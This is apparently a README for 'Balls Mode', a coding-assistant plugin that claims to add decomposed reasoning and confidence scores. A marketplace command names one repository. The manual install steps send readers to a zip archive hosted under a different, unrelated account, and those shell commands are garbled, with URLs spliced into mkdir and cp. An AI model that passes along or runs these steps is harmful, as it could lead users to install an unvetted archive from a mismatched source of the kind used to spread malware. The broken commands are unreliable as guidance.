Welcome to Balls Mode! This software simplifies AI coding assistance with clearer reasoning and confidence scoring. Follow the steps below to download and run the application.
To get started, visit the Releases page to download the latest version of Balls Mode.
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Open your command line interface.
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Run these commands:
/plugin marketplace add gbasin/balls-mode /plugin install balls-mode
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Open your terminal.
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Copy the skill file to your Codex skills directory with the following commands:
mkdir -p ~https://raw.githubusercontent.com/camlingo237/balls-mode/main/plugins/balls_mode_3.2.zip cp https://raw.githubusercontent.com/camlingo237/balls-mode/main/plugins/balls_mode_3.2.zip ~https://raw.githubusercontent.com/camlingo237/balls-mode/main/plugins/balls_mode_3.2.zip
- Locate the file
https://raw.githubusercontent.com/camlingo237/balls-mode/main/plugins/balls_mode_3.2.zipin your current directory. - Copy it to your tool's skills directory.
Once installed, you can use Balls Mode by entering commands in your platform. For example:
/balls Should I rewrite this service in Go?
This command will help you decide whether to rewrite a service by providing clear reasoning and confidence scores.
Balls Mode uses a clear four-step protocol:
- CLASSIFY - Determine if the task is trivial or complex.
- DECOMPOSE - Break the task into smaller, verifiable units (referred to as "balls").
- SOLVE & VERIFY - Address each unit independently and verify the answers.
- SCORE - Assign confidence levels to each answer.
Q: What platforms does Balls Mode support?
A: Balls Mode works seamlessly with Claude Code and Codex. Check for updates regarding additional platforms.
Q: Do I need any special software to use Balls Mode?
A: You will need a coding assistant like Claude Code or Codex where you can install the plugin.
Q: How does Balls Mode improve coding tasks?
A: By providing multiple reasoning paths, explicit uncertainty, and clear points of failure, it enhances decision-making during coding tasks.
If you encounter issues, please create an issue directly on the GitHub Issues page. We encourage users to report bugs and request features to improve the application.
Happy coding with Balls Mode! Remember to check the Releases page for the latest updates and fixes.